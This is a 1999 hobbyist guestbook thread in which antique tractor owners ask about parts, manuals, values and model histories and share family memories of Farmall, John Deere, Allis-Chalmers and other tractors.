Brad wrote on Thursday, December 23, 1999 (PST):Looking for a 300, 340, 350 or something similar with a bucket and backhoe. I'm in Texas and would like to find one around here, but would travel for the right tractor. Thanks.
John Noah wrote on Thursday, December 23, 1999 (PST):Just picked up an old B at a farm sale. Runs great and came with a woods belly mower. Looking for owners manuals and information regarding the different attachments that went with the B. Also have an old M that runs great and keeps the snow cleared off the drive in the winter. Came with a Westendorf loader and live hydrolics. Looking for owners manual for the old M as well. Any help would be appreciated! These old Farmalls are hard to beat! Run great and last forever!
Brad wrote on Thursday, December 23, 1999 (PST):I am looking for a woodsaw attachment for my Cub, plus any other implements that will fit. Thanks.
Keith Clymer wrote on Thursday, December 23, 1999 (PST):My pop-pop has a Fordson-It has been sitting in the field for about five years.He said the trans-locked up. Could this possibly bw fixed reasonably? The rest of the tractor is in great shape. Thanks
Craig Rhodes wrote on Thursday, December 23, 1999 (PST):I own a restored 1939 H #2305. However this tractor was originaly #1010. The first 104 or so H's were built with cast cranks, they broke, so they called in those first H's and replaced the crank with a steel one. When they did this they restamped the serial number, this is what happened to mine, which makes it the 11th H made.
Ryan Fox wrote on Thursday, December 23, 1999 (PST):I am 15 years old and I bought my own first tractor this summer. It happened to be a John Deere 2010 tricycle front tractor it is a 1964 model and I`m curently restoring it with my grandpa.
Rick Nikolich (GeneD14) wrote on Wednesday, December 22, 1999 (PST):Vermeer has a required horse power table for their balers on their web site, but the 506 must be an obsolete model. Your best bet is to contact a dealer. If your D17 is an older series it has a high pressure low volume hydraulic system that won't be compatible with your baler. If you want to use an older D17 with modern low pressure high volume hydraulic implements like; loaders, balers, etc.... It is common to add an auxilary pump and spool valve to handle equipment that requires low pressure high volume. Good Luck!!
mike wrote on Wednesday, December 22, 1999 (PST):i recently purchased a late 50's farmall 140 with a snow plow. i need information and possible illustration on how it is attached. i am new to this tractor thing and would like to know how to find more resources on this model
Thomas Waugh wrote on Tuesday, December 21, 1999 (PST):I have a 41 LA that my grandfather bought new. It has been handed down in the family. For 30 years I have driven this tractor and now it is restored. I use it for shows, snow plowing and giving rides to the future owners, my three daughters. It is hand started with a crank, no eletrics, and runs better then it did when new. What a beautiful tractor Deere made. I also have a 48 Model B that I'm restoring. It is used also for Snow Blading. And of course...the sound of these two tractors...Breathtaking at times.
Thomas Waugh wrote on Tuesday, December 21, 1999 (PST):I have a "48" Model B that I'm restoring. It is almost finished and I use it for snow plowing. The lift on it works so easy, with the rear blade, I enjoy the snow now. I also own a mint "41" LA that has a front snow blade. That also works great. What a nice couple tractors!
Dan Kloberdanz wrote on Tuesday, December 21, 1999 (PST):I have a complete B. F. Avery Model "A" except the rear tires and rims are after market. The tractor runs great. I am considering putting a wide front on it as it currently has a loader installed. If a collector is interested in buying it, I would sell it. It would be best to sell prior to the conversion, so it stays in the origional condition.
Mike N. wrote on Monday, December 20, 1999 (PST):According to the book I have Andrew B.'s tractor is a 1945 model. I also have just purchased a tractor from my uncle that has been in his family since purchased new in 1950. I also love the sound of the old 4 banger.
Hugh Russell wrote on Monday, December 20, 1999 (PST):I inherited a Mccormick Deering Tractor like the 22-36. It has been sitting on my Parents property for the last 20 years. The crank stills turn over the engine, but, I'm not sure what it's worth! Any ideas would be greatly appreciated!
Bob wrote on Monday, December 20, 1999 (PST):I have an AC D17. Will it handle a 506 vemeer round baler? If so, what do I need to connect the hydraulic system? The baler has 2 hydraulic lines and the tractor only has one hook-up.
don myers wrote on Sunday, December 19, 1999 (PST):ive recently purchased a farmall model h that burns propane. and was wondering about how many of these were produced propane tractors of any type are fairly uncommon here in the ozarks. so this is the only one that i have seen in this area. i have seen a few in other parts of the us but for some reason propane wasn't used much around here. any info on this type of "h" would be much appreciated. thanks !
ron wrote on Sunday, December 19, 1999 (PST):cut my baby teeth on the steering wheel of a2010 .we installed a allied loader on it was the first front end loader we owned . loaded alot of stuff with it with no power streering . a lot of loader tractors have come and gone from those days. it was just a ok tractor nothing special even in those days but better than afork any day
JMC wrote on Sunday, December 19, 1999 (PST):Wrote on sunday december 19,1999 from FRANCE I have a 806. Is it a collection tractors in USA?
David Holzwarth wrote on Sunday, December 19, 1999 (PST):I would like to find a 2010 narrow front gas or diesel that runs. I use to have one and it was one of the best tractors I ever owned!!! I would like to find one to Restore.
Jim Warnke wrote on Saturday, December 18, 1999 (PST):I bought a D-19 and am just wondering if there is anyone out there who has ever owned one could tell me any special characteristics of the 19. I have experienced the partial engagement of the hi-lo lever and I am glad to know that this is normal in the D series. I did discover that the O-rings on the power iverler lever shaft can be replaced without breaking the tractor apart if you happen to have a fluid leak around the diverter lever shaft. Be careful not to slide the shaft too far either direction when changing the O rings or the half moon key maight fall out and into the bottom of the housing. It can be reached by taking the cover off the right side of the housing, but it added about 3 hours to my original 30 minute job, but it could have been a lot worse.
Jamie wrote on Saturday, December 18, 1999 (PST):Steve - The 140s do not have power steering, at least not though my year, 1963. They do have hydraulics and came with a fast hitch. I have converted to 3pt hitch, as implements are easier to find. They are an evolution from the A, Super A, and 100, 120, 130 models made earlier. It is the same basic tractor, but has hydraulics.
Harlan Clark wrote on Saturday, December 18, 1999 (PST):I recently purchased a late '49 8N that I would like to add original tract-o-lite headlights to as well as replace the air cleaner assembly (under the hood). Does anyone know a good web site for original parts? Thanks for this site!!!
Phil wrote on Saturday, December 18, 1999 (PST):The H was not a replacment for the F-20, but for the F14. The M replaced the F20, and the F30 was abandoned, although there was a W9 "standard" with about the same rating.
Kenneth M Bronner wrote on Friday, December 17, 1999 (PST):I have been a proud owner of a LA for over 33 years. when we purchased are first home the home owner through it in with the home because it had a big garden. now we live on a 420 acre farm and our son and grandson take good care of the "Johnny". it has all the attachments, plow, disk,drag and snow plow. It will always be part of our farm.
Andy Roberts wrote on Friday, December 17, 1999 (PST):I have one of these tractors. I would like any and all information on this MM UTV. I am really interested in any attachments that can be used on this model. ie; post hole digger. box scraper ect. My emailer is not functioning good so if anybody knows anything about this please write to me at Box 53 Standish, Ca 96128
K welden wrote on Friday, December 17, 1999 (PST):Have 330 JD, MH Pony ,Farmall Cub, Cockshutt 60. Other collectables , access to more. Click me.
k welden wrote on Friday, December 17, 1999 (PST):Have 2 cockshutt 60 also JD 330, M MH Pony IH Farmall Cub access to other collectables. Click me
JWyngard wrote on Friday, December 17, 1999 (PST):I have A 560 diesel bought it because when i was yonger plowing with this tracktor was something that sticks you.i have been considering converting it to gas because of W.I. cold winters is this possible and about how much cost would it be?
andy roberts wrote on Thursday, December 16, 1999 (PST):This MM looks just like mine. I'm not sure of the model year. The steering wheel is on the left side and the seat is almost behind the rearend. I bought it to farm with but can't find any implements to use with it. I grow alfalfa and i use it to pull my bailer. I'm looking for some attachments like post hole auger and box scraper. It also might be for sale havent decided
Denny Nebgen wrote on Thursday, December 16, 1999 (PST):I have an opportunity to purchase acub lowboy, but I have some questions. The steering box is pretty loose; anyway to tighten it up? If not how available are replacement parts and what would something like a steering box cost? Also the owner told me it smokes after it's good and warmed up, could this be serious problem? Lastly, the pto grinds a little when you try to engage it, how hard to change and again can I find parts? Any help would be appreciated.
Gene wrote on Wednesday, December 15, 1999 (PST):Wanting to know if the WD45 diesel engine will fit the WD45 gas transmission and tractor frame. What changes if any would have to be made to the tractor? Also want to convert to power steering and would like to locate the steering booster.
caleb wrote on Wednesday, December 15, 1999 (PST):looking into buying a 1949 case DI with loader don't know to much about this model. Is there any commom problem with the DI's or are they good tractors.
Wardner Randolph wrote on Wednesday, December 15, 1999 (PST):If you have parts or information for Field Marshall tractors, please contact me.
bhedrick wrote on Wednesday, December 15, 1999 (PST):does anyone know a good site to find replacement parts for a Oliver? I'm looking for a crankshaft for a 1950T.
Glen Kent wrote on Wednesday, December 15, 1999 (PST):I have a 9N with a hydraulic lift problem. The lift works, but it seems to only have 2 positions, up or down. Eventhough the lift handle moves freely, the actual movement up or down occurs within a very limited (approximately 1 inch)range. Has anyone ever experienced this or has any suggestions for adjustment. Thanks Glen
dalyrymple farms wrote on Tuesday, December 14, 1999 (PST):we farm appros. 500 acres in michigan and we use 1-1066 and 2-l086s and an 1952 farmall h. got to be the best farm tractors that farmall ever made, we maintain our on tractors and all 3 are in perfect conition and it is a pleasure to farm with them
Maynard wrote on Tuesday, December 14, 1999 (PST): Hello,My son is Kenny,he is on this page,and I would like to help him with his tractor.My father has had this tractor since 1941,he ordered it strait from Racine,Wisconsin.I live in Minnesota.If anyone can help us,I would be of great appreciation.We also are looking for a Farmall M.We own a Farmall M with a trip loader.We also own a Farmall C with a rear hydraulic system,and a front snow blade,they are handy tractors.We would like to get all of the letters in the letter series,we need 3 more,not counting the super series.We would like to get another SC,cheap,so we can use it for parts.He wants one for his golden birthday,if someone knows where we can get one,please contact me. Thank you.
Bob Swinney wrote on Tuesday, December 14, 1999 (PST):I am looking for a set of 2 row cultivators for a WD-45.If anyone knows of some for sale please E-Mail me. THANKS!!!
dustin leistra wrote on Monday, December 13, 1999 (PST):i am interested in price condition and location of this tractor ps i love olivers
Leonard Larson wrote on Monday, December 13, 1999 (PST):My Father & Grandfather purchased the J.I. Case Dealership in Kimball, Ne. in 1935. I grew up on Case tractors and other Case machinery. Spent much time, in my high school days, setting up machinery for delivery etc. We also had a farm and ranch operation. I have plowed many acres with the Model L and four (4) bottom plow. In 1947 or 48, we had the Case Co's. protype self propelled combine on our farm. There were many changes made, at that time, to the mobilization portion. Could go on and on. Those were the good-ol-days. I've been surching a long time to find an organization such as yours.
Scott wrote on Sunday, December 12, 1999 (PST):I have drove a D17 that belongs to my friend and is is the very best tractor I ever baled hay with. In Custer Wa
Glen L. Redman wrote on Sunday, December 12, 1999 (PST):My dad purchased a 1928 L about 1955. It had been used to run a sawmill and was converted to rubber for our use. We were never able to stall the tractor with equipment but with the low clearance, we did hang it a few times. the tractor was sold for use in the wood to lumber dealer. Really wished I knew where to find it.
JD-8 wrote on Sunday, December 12, 1999 (PST):I had a '38 JD L, serial 625203. It was evidently the 204th styled L. There were about 1000 unstyled L's made, and about 12,000 styled ones, so any L is a relatively rare find. They were made from 1937-1946. The early ones, including mine, had a drop-in Hercules 2-cylinder engine. Later the engine was made by JD but still had the same dimensions. The obvious difference is that on the Herkys the engine and clutch housing are two seperate pieces, with the JD model, they are all one piece. The LA is similar to the L but is about three horsepower more and it also was built a little heavier and has 24" rear wheels, compared to 22" on the L. There were 12 or 13,000 of them made, too, so in all you had about 25-26,000 L's and LA's made. The 22" tires are hard to find but they are still available-- keep trying! The L was practically the only tractor in America made to ride on those tires. The LA began manufacture in '41 and went to '46. Both the L and LA, along with the H and BR series, were replaced by the model M series from 1947 onward.
Donald E. Lurz wrote on Sunday, December 12, 1999 (PST):I would like to know where to purchase a water pump for a Ford 8N 6 cyl. 1949 tractor with cast iron pan. Thank You, Don Lurz
Dean Englund wrote on Sunday, December 12, 1999 (PST):I think the tractor in the pict.is 1950 or newer because of the two small holes opposite each other on the cast part of the rear wheel.I have never seen that type on 49 or older.I could be wrong though.I have a 49-B ser.#238731 that I have restored not the 3-wheeler type.Two of my friends have the B threewheeler not to uncommon.I was down in N.E.Iowa last spring and most of all the tractors I seen there were 3-wheelers dont know why?Im from east central Minn.This is a great site to visit on the computer,thanks Dean
leon schayes wrote on Saturday, December 11, 1999 (PST):i would like to know what a model b 1937 alis chamers is worth runs well it has acrank to start it pto and belt pulley
Brandon wrote on Saturday, December 11, 1999 (PST):I am 12 years old and I have resently bought a 1947 sc case. I bought it for 300$ and the guy I bought it from helped me and is a life time Case collector. We split the tractor because the clutch was shot and so we replaced that. The front pulley was cobbled together so we drilled new holes and put it back together. We adjusted the brakes and cleaned it up a little.We added a maniflod and a carb.If you have any questions I might be able to get back to you.
jon wrote on Friday, December 10, 1999 (PST):I have an 8N with the 6 cyl. Funk conversion. They used regular flathead 6's out of big Fords as well as the industrial engines. There are minor differences like the water pump. The early Funks and all Glover coversions used a channel iron frame. They later switches to a cast iron pan. You can tell what year your tractor is by looking at the date on the pump (bottom by the drainplug) assuming it hasnt been replaced. There are also dates cast in the rear axle, and other places on some tractors. The 2Ns have the date on the starter part of the bellhousing. The later 8Ns had proofmeters, and some had different looking rear axles and round brake pedals. The Funk flathead 6s use the donors clutch and pressure-plate (11 in.), and the tractors throwout bearing. The starter is also stock flathead six but uses a Funk adaptor. They later made OHV six cyl. conversions, most of these were Glovers, they are the rarest. As far as value, they really havent seemed to increase in value, a worker about $2500, and a show tractor about $4500.
Jim Testerman wrote on Friday, December 10, 1999 (PST):I have a W4 This is a nice belt tractor. But my best find was a Schram This is a construction machine and is mounted on a W-4 or W-6 chassis. Half of the engine is the air compressor that runs the hole driller.The manufacture plate is missing.I would apprectiate any comments on this type of machine.
Jim Testerman wrote on Friday, December 10, 1999 (PST):I must consider my self lucky. I have a 560 gas and a 560 diesel. The gas is a narrow front end. The diesel is a wide front. Both are in good condition. I have noticed in the ads when the tractors were new that they had power slip wheels. Was this an option?
Paul Qualley wrote on Friday, December 10, 1999 (PST):I have a farmall regular that I am restoring and I need rear wheels either steel or rubber. If anyone can help please write back thank you.
Rick Nikolich (GeneD14) wrote on Friday, December 10, 1999 (PST):Alot of factors are used to determine value; sheetmetal, tires,wf,power steering,year,electrical system,rim cond.,gauges, etc....The good 3pt conversions go for about $400 and they are worth it if you plan on using it alot. An early model D17 in good all around shape will bring around $2800 in the mid west. If it's in rough shape and has a bad engine or trans. I wouldn't go over $500. Good Luck!
Rick Nikolich (GeneD14) wrote on Friday, December 10, 1999 (PST):Hi, I've only had my 160 since Aug 99. The brakes were bad, I've heard the 160's are prone to brake problems. The tie rod ends were worn out and I had to custom make new ones. I replaced the seals on the lower lift arms (big job!). Some parts are very tough to locate. Now for the good stuff; power steering! live pto! live hyd! heavy tractor with tires loaded. The Perkins engine has a good reputation for reliability and good cold starts. So far my 160 has been pretty good, it was restored by the previous owner a few years ago. Good Luck!
don yeaman wrote on Friday, December 10, 1999 (PST):I have been told that my tractor is a mt 51 or 52 year.I would like to know if it is. the serial number is, 88071 can you help me to know what i have thanks.
Matt Munson wrote on Thursday, December 09, 1999 (PST):The 1066 was a good tractor, but the 1086 was even better. We own one on our farm and use it almost every day. It has 6600 original hours. How's that for a good tractor
Darrell Faryna wrote on Thursday, December 09, 1999 (PST):These are really great machines! It probably has one of the sweetest sounding six cylinder diesel engine of its era. It is a lively tractor for its size(except for its power steering,which is kind of slow) and really digs in and snorts in the rough spots. Our 500 Diesel did a lot of acreage on our Alberta farm without a whimper and is now in the process of restoration. It is 99% complete now and a real jewel to look at and run.
derek wrote on Thursday, December 09, 1999 (PST):I have a 460 I love it is perfect for raking hay I would recomend it to anybody for a good antique tractor to fix up and paint to put in parades .
Tom Armstrong wrote on Thursday, December 09, 1999 (PST):In this area, the AC Model M pretty much replaced the horse for farming the hills here for grain and flax. One family up the Canyon had a Model K. I remember they still used it back in the "50's and '60's. They ran it in the same field as a 7U D-4. They worked one behind the either all day long, both pulling 4 bottom plows. I ran an M in the same field as a 5U D-2, the M would keep right up with the D-2, both pulling 6'9" discs. The M would outrun the D-2 if you tied the throttle down. This was amazing performance for tractors engineered in the early thirties.
George Wolf wrote on Wednesday, December 08, 1999 (PST):I need to know if the 60 orchard and the 60 standard are basicaly the same tractor.I have a 60 standard and in need of a shifting fork set. If anyone has any leads on one,please contact me. Thank you.
John Price wrote on Wednesday, December 08, 1999 (PST):I have a '39 H #6749. I plow snow with it and am in the process of painting. I'm looking for a picture or diagram of how the 1 bottom plow hooks up in both front and back. I can tell something is missing, but can't tell what. Help!
Glenn Joel wrote on Tuesday, December 07, 1999 (PST):I have one serial no. is 4 i/m doing the diesel motor now. Ihope to use it this spring.I farm with a model ""R"" now.I think these tractors are great.
John Halm wrote on Tuesday, December 07, 1999 (PST):This engine Belongs to the Sears family in Oregon. It is a 20hp/60hp. It is on permannt display at Western Antique Powerland Inc.(WAPI) at brooks Oregon. I have run this engine it is a great engine. My Late Father Had the opertunity to run it at a tractor pull in Sublimity Oregon many years back.. to see it in operation be at the show the last weekend of july and the first in aug. at WAPI
Wesley wrote on Tuesday, December 07, 1999 (PST):My family has been in posecion of a 1960 Massy-Ferguson TO-35 for many many years. Its in good running condition though it has a few cracks in the cowl and fenders, due to long faithful use on the family farm. It used to be gray sheetmetal over green mechanicals, but the sheetmetal was painted Ford blue when we bought a new ford brush-hog. It once had side curtains im not sure what happened to em. I do know that its headlights and taillight are not working, but all the hydraulics work and the old L-head moter is in fine running condition. Where could I possibly find a new wire harness for the lights and since the brush hog shat the bed where can I get the gray paint (we're planning on restoring it to honour my grandfather who recently passed away, god rest his soul) any and all leads will be greatly appreciated.
C. Dixon wrote on Monday, December 06, 1999 (PST):I am the proud owner of a 4 wheel 1937 model R-44, (the "R" stands for rubber tired, and the numbers are the tire width). "She" has been restored in and out, but is not all original, has traction bars and weight brackets to play in 2500# antique class. Unfortunately there is very little info on Plymouth or Silver King tractors to be found on the web just yet, but you can contact the Silver Kings collectors club by mail; Silver Kings of Yesteryear, 4520 Bullhead Road, Willard, Ohio 44890
Lynn wrote on Monday, December 06, 1999 (PST):we just got me one of these(a R-38?)!!! have been trying to find out what modle she is, and what color she was painted! She was used in Portland, Oregon area to mow the highways. Mine is a 1940, by serial no., but friend said her grill may be a 1941, go figure! Anyone out there with info can get back to me to.
Bill Mullinax wrote on Monday, December 06, 1999 (PST):Ace Hardware has a spray can paint called International red ace #17134. It is nearly perfect.Also I need wireing harness for a 1950 cub.
Don wrote on Monday, December 06, 1999 (PST):I'm seaching for a second transmission for a WC, if anyone knows of one please let me know. Thanks!!!!
Collins Duke wrote on Monday, December 06, 1999 (PST):The 1066 was one of the better tractors that IHC made in their later years,I used to own two of them, I also owned two John Deere 4430's at the same time and the 1066's would run circles around the Deere's
John Kraemer wrote on Monday, December 06, 1999 (PST):For Sale 1947 Farmall Cub--Excellent condition ALL ORIGINAL Includes belly mower and cultivator. I even have the origianl manuals for tractor and cultivator. I'm the second owner. $3,000 located in St. Louis.
CARL E. PEARSON wrote on Sunday, December 05, 1999 (PST):i am restoring a farmall md it is original butiam looking for the final two pieces namely a belt pulley and a pto guard and mabybe a hand crank. if someone has these for sale please contact. thank you
Tim wrote on Sunday, December 05, 1999 (PST):Im looking for some kind of tractor club to get involved in. I have 6 Allis Chalmers from 1938 to 1950. if anyone has a tractor for sale that is close to Arkansas Id be interested as long as it was a Allis Chalmers. Any clubs in Arkansas
H. Burnett Clasic Repair wrote on Sunday, December 05, 1999 (PST):I have an oc-3 Part restored . No sheet metal . Runs all new track Rollers with new pins. trans rebuilt. new bands. Dont know if its feasavle to finish or not or just junk it out.
Roger wrote on Sunday, December 05, 1999 (PST):I am interested in purchasing D17. I have looked at one and found that it has been sitting in a farmers field for one year. Apparently it is locked in gear. Can you tell me anything about this. Is this relatively easy to fix? What is a tractor in this condition worth? Other than the tractor being very dirty, Covered with over spray from whitewashing a barn. Tires are good. Haven't heard engine run yet. Has a front end loader attached to it hand release bucket. If you can help me I would appreciate it. Also what is the value of a conversion fro quick point hitch to three point hitch?
kevin russell wrote on Sunday, December 05, 1999 (PST):i am a member of the st. clair co. farm museum. we have two steam traction engineson site. a baker 21/75 engine and a port huron engine also. icurrently operate the baker, i have never had more fun and thrills running the engine. her name is ol,betsy. we call her the sleeping giant too. i cant wait to wake the giant in the spring. the fire is built and i wait for her to build steam oil all drives and pinnions and go for a run..... its great fun to belt her up to our port huron thresher too. we also run her on the baker fan too. we now have a port huron saw mill complete and hope to have it setup for summer operation... could any one write back? share some comments? just call me steam!! ha ha!! 12/5 /99.
Andrew B. wrote on Saturday, December 04, 1999 (PST):I recently got a Farmall M Series, and I know it's from the 1940s, but I'm trying DESPERATELY to find the exact yearof production. It's serial number is; FBK-87672-XI, and has hydraulic feature AND a magneto, which makes it hard to pinpoint a year in the 1940s. Also, notice that the serial# has 5-digits rather than 4-digits. PLEASE HELP! EMail me with any suggestions of howI can find the exact year of production of this FARMALL M. Thanks!
Robert Krebs wrote on Friday, December 03, 1999 (PST):Hello, I bought a AC160 this passed summer started restoring it what kind of problem can I expect.I've done a head job on it all ready,put new brakes on it and repainted it
Rick wrote on Friday, December 03, 1999 (PST):I've got an OC-3 that runs quite well and has good tracks. It needs bushings in the idlers and first and reverse make some noise. The noise from those gears may be natural but in 2 & 3 the trans is very quiet. Anybody know about the noise and the bushings?
Gary Bielke wrote on Friday, December 03, 1999 (PST):We would like to get ahold of a new toy tractor in this series U-Minneapolis Moline. If you can get back to us as soon as possible, would like for X-mas. Thanks.
everett miller wrote on Friday, December 03, 1999 (PST):I have recently purchased a co-op E4, and it is missing a grill and fenders. If you can help me find these items please contact me.
Dennis Flanery wrote on Thursday, December 02, 1999 (PST):I have 2 tractors just aquired that look alot like this one but the serial number plate lists them as utu instead of utv but this tractor is the only pic that I can find that even closely resembles my tractors.
Bobby Harmon wrote on Thursday, December 02, 1999 (PST):How much would a 1930 or around that area did a all purpose farm tractor cost? I am doing a term paper for school on Farm Machinery And I need this information so please send this to me by today if you can!
Garson gural wrote on Thursday, December 02, 1999 (PST):I have a farmall at my Grandparents house that i bought with my own money it is als a M but it is for (Sale) if you would like to contact me I live in windsor ont. telephone #256-3648
Wayne Kaiser wrote on Thursday, December 02, 1999 (PST):I have a '49 Model B serial #240491 and am in the process of restoring it. I need to know where the "John Deere" decal should be placed on the tin. I understand that "John Deere" was placed close to the front toward the later part of '49 but I was wondering at what serial # that started at.
Doug Forester wrote on Wednesday, December 01, 1999 (PST):i would like some info on the tractors you have for sell please.Thank you
Murray wrote on Wednesday, December 01, 1999 (PST):I have just acquired a WD-9, and it is the best tractor I have got.
Kevin Teeters wrote on Wednesday, December 01, 1999 (PST):I have a 1952 Dexta that my Grandpa bought new and I have never had any problem with any thing on it except the water pump and I put a new one on (the other one was original) also the tractor has over 7,000 hours on it
tom phoenix wrote on Wednesday, December 01, 1999 (PST):I lived down the street from a dairy farm while I was growing up. The farmer was a great guy who tolerated a curious kid hanging out and asking questions. Boy! Did I learn a lot from that farmer. The best thing I learned was how to drive a tractor. He had several tractors, a big White Field Boss, a Oliver 1855, and the one that is still dear to me, a 1946 Oliver Row Crop 60. This is the tractor that he tought me on. He had restored it to its original condition(his father had bought it new), and it had seen over 20 years of hard field use. It had always been maintained but it did need some "freshening up" and a new coat of paint, and Larry,(the farmer, let me assist in the restoration. Then best of all he showed me how to operate it! In 1980 the farm moved to upstate New York(they needed more land to stay competitive), and they took all their equiptment with them. Larry still owns that old Oliver and he instilled in me a love for old tractors which I indulged about 10 years ago when I bought a McCormick Deering 10-20 on full steel from another local farmer's widow who was selling off the family farm for a housing developement. Someday I do plan on acquiring an old Oliver Row Crop 60 to restore and hopefully show and parade. Thanks for listening. I enjoy your web page. Tom.
John Grabbe wrote on Wednesday, December 01, 1999 (PST):Was Minneapolis Moline the first to offer the mechanical front end on their tractors?
Rod wrote on Wednesday, December 01, 1999 (PST):I recently purchased a 154 Cub LoBoy. It is in pretty good shape but needs some TLC. Any words of advice, background, pictures, or comments would be greatly appreciated. Thanks
Debbie York wrote on Wednesday, December 01, 1999 (PST):We have a 40 Cockshutt tractor, I wouldn't trade it for the world we use it on our horse farm, for just about anything we paid $250.00 for it and haven't had a lick of problems with it. Great little tractor!
Richard Navis wrote on Tuesday, November 30, 1999 (PST):I have purchased a WC earlier last spring.I have just started to restore it. It needs an engine rebiuld,paint,and tires.I am an Oliver nut, I have about ten. My wife and I own and operate a dairy farm in eastern WI. right along lake michigan. I do get to use all of my tractors. My hobby is to fix and restore the older models. The reason for the Allis is because it is part of Agco. It has been fun working on the WC.
Ger wrote on Tuesday, November 30, 1999 (PST):I pull logs every winter with my 8N with Blackhawk (ARPS Corp.)halftrack. It works remarkably well-more traction, even in deep snow, than tires on dirt. It steers quite well using the brakes to assist and doesn't place much drag on the system. I'm looking for more info, manuals etc on the system.
Timothy Pope wrote on Tuesday, November 30, 1999 (PST):I own a 1937 Case L that was originally purchased new by my paternal grandfather and used on the family farm in upstate SC until 1979. It has been sitting under a shed since. I've contacted a gentleman (heavy equipment mechanic by trade) who tinkers with antique tractors. He's briefly checked it and turned over the crank and said, "That old dog's got lots of fire." We plan to add new oil, gas, water, and fire it up. (It ran great the last time it was used in 1979 to run a hammer-mill to grind corn and grain for cow feed.) If she fires up and runs, I'll buy new tires and consider moderate restoration. Anyone have any suggestions for what to or not to do. Thanks.
Larry Nicholson wrote on Tuesday, November 30, 1999 (PST):I have a 1948 Cub and I have a chance to trade some of my equipment for a center blade for the cub. The person that has the blade and I do not know what attachments are needed to make it work. If anyone knows what I would need to make it work it would be very helpful. Thanks Larry
Sue wrote on Tuesday, November 30, 1999 (PST):In the early 50's my father bought a 40's model M Farmall, I was about 6 or 7 at the time. He used the Farmall to do custom hay baling all around our county, and also used to pull a combine, which he also used on other farms. It still remains one of my favorite antiques, although the tractor was traded for an 861 Powermaster in the early 60's, I can still the sound of that engine as if it were yesterday. My father died 2 years ago at the age of 92, still farming and still bragging about that old "M'.
JOHN HOSE wrote on Monday, November 29, 1999 (PST):I have just purchased a JD50 need to find parts or places to get parts if any ideas contact e-mail
Jim wrote on Monday, November 29, 1999 (PST):I just purchased a 1949 massey harris pony tractor. I am currently restoring it. does anyone know the origial color of this tractor? please send photo or just the color scheme..thanks.
jeff clawson wrote on Sunday, November 28, 1999 (PST):I have a 1934 plymouth,1937 3-wheeled silver king, 1937 4-wheeled silver king, and a 1947 model 42 3-wheeled silver king. I have used these tractors for various chores and feel they were a very well built tractor for there time, they were just poorly marketed. I enjoy the time i spend on them.
Mike wrote on Sunday, November 28, 1999 (PST):Does anyone know who manufactured this tractor and need information on the charging system....Thanks
jim anderson wrote on Sunday, November 28, 1999 (PST):in 1963 my dad bought a D15 SERIES II with all the attachments.it was the first of many tractors he owned through the years and also my favorite.dad traded the D15 in the late 70`s. my affection for that tractor has lasted for all these years.i finally told myself "i had to have one". i searched for two years to find the right one. i finally found the one for me. a 1966 , 2200hr. 1 owner, like new D15 SERIES II. the best part was picking the tractor up and seeing how excited my 69 year old dad was, just like one 8 year old kid was in 1963.
Dean Englund wrote on Sunday, November 28, 1999 (PST):Back in the late 50s early 60s I remeber when my grandpa had an 3 wheel avery used it to pull the rope on the barn that lifted the loose hay in a sling up into the hay loft.thats all I remember it used for.Tryed tracking where it went but no luck.My friend has one with a loader and herc engine.I know of anotherone that someone has put a ford tractor engine in it,and that ford motor has a mag on it which I never seen before.Im from Minnwould enjoy having an Avery or finding my grandpas.
Todd Nichols wrote on Saturday, November 27, 1999 (PST):i purchased what was suppose to be a 1961 dexta.according to info in this site,they were not mfg until 1962.is this true?so far i have had zero problems and am very satisfied with my tractor.averge retail price in n.ms. has been avg about $2000-$2500 for better than avg condition. tn
HENRY T. MARTINEZ wrote on Saturday, November 27, 1999 (PST): DROVE ONE THAT BEONGLED TO MY DAD,S FRIEND BEST THING TO USE FOR BALING HAY
Phil Hendrickson wrote on Saturday, November 27, 1999 (PST):I have to agree with Ritch F. about the sound of the engine, it is a sound I will never forget. We use to own a 560 diesel, wide front, and would love to buy one to rebuild and listen to the great engine purrrr!! Hacksaw
frank wrote on Saturday, November 27, 1999 (PST):I own int. 300 or so i think it is,it has a backhoe&front end loader.I used it all year to dig and clear land great machine,burns oil would like to replace the rings but need a book on the specs also i think it has a wager backhoe? any help would be great.
Bill Habig wrote on Friday, November 26, 1999 (PST):There is a local person wishing to sell a 1066 with cab (no attachments) with 2,700 hrs, and new rubber, for $15K. Does anyone have an opinion if that is a fair price?
Kris Jordan wrote on Friday, November 26, 1999 (PST):The caption near the photo of the 60 has some incorrect information. The 60 replaced the 'A' not the 'B' .I own a 50 which replaced the 'B'. It is a 1956 (one of the last ones made) . These are great tractors that don't seem to get the attention that the 20 and 30 series get. Mine has power steering, powertrol and a live PTO which makes it very useful even today!
fred allen wrote on Friday, November 26, 1999 (PST):I have seen one of the tractors pictured and I would like to start a collection of pitures for my father in law.
Denny wrote on Friday, November 26, 1999 (PST):I picked up a 300 farmall yesterday for $3,100 with two buckets and a back plow it is in good shape it has a small hole in the radiator ware the steering rod hits it thay were built from 1954 to 1956.
keith ault wrote on Thursday, November 25, 1999 (PST):Cletrac was the cleveland tractor company,located in cleveland,ohio. in 1939 with "the general". model gg, they built the first 3 wheeled rubber tire tractor for the company.In 1940-41 oliver bought out the dozer division renaming it the oc3{formally hg}.Avery bought out the tractor division. Avery put wards twin row and massey harris decals and plates on some of the tractors. In 50-51 Minn-Moline bought out avery, model mm bf replaced the avery r. the tractors used a hercules ixb series motor,later models had sleeves.The b f avery collectors will be holding its annual spring meeting near louisville,ky in spring of 2000.we plan on touring the ford truck plant in louisville plus having a parts sale/swap
Mark E. Clements wrote on Wednesday, November 24, 1999 (PST):my wifes grandpa had a wd with crank start. her sister and my wife ask there grandpa if the could drive the AC. he told them if they could start it they could take it to the woods. it didn't take long and off to woods they went. you see my wife is 47 years old and this happen when she was 9 or 10. here sister was 4 years older. this happen around waldo ohio 37 years ago.
Brent wrote on Wednesday, November 24, 1999 (PST):We have a 1950 John Deere B. It starts right away in the winter for snow-plow. What a great tractor that John Deere created.
Eugene Schacht wrote on Wednesday, November 24, 1999 (PST):I am looking to buy a Farmall Cub with a belly mower. Any year that is in running condition is acceptable. Must be located fairly close to northwest Ohio region. Contact by e-mail or by phone 419-691-4069.
jeff wrote on Tuesday, November 23, 1999 (PST):I have a 47 D. My dad has a large collection of john deere tractors. he goes out west every year buying tractors.he buys them and I work on them, because he doesnt know how to work on them.I love the sound of a old john deere tractor running, its music to my ears.I think the old john deere 2 cilinder tractors are so simple to work on, I just wish most things were that easy.If any one out there is looking for a certain john deere tractor, my Dad seems to be able to find them.As for a D I feel that they are one of the easyier ones to work on except for having to pull the radiator!!The D has the gutsyist soud of all the john deere tractors in my opinion
